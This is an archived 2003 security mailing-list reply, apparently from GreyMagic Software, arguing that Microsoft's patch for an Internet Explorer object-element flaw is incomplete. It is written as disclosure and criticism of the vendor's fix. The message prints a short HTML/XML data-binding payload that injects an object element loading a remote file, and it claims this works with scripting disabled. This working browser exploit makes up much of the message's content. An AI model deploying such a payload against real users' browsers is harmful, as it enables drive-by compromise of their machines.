From: GreyMagic Software (securitygreymagic.com)
Date: Mon Sep 08 2003 - 09:52:12 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

>The patch for Drew's object data=funky.hta doesn't work:

This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.

>1. Disable Active Scripting

This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object data=x.asp></object>
            ]]>
        </exploit>
    </security>
</xml>

Ouch.

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]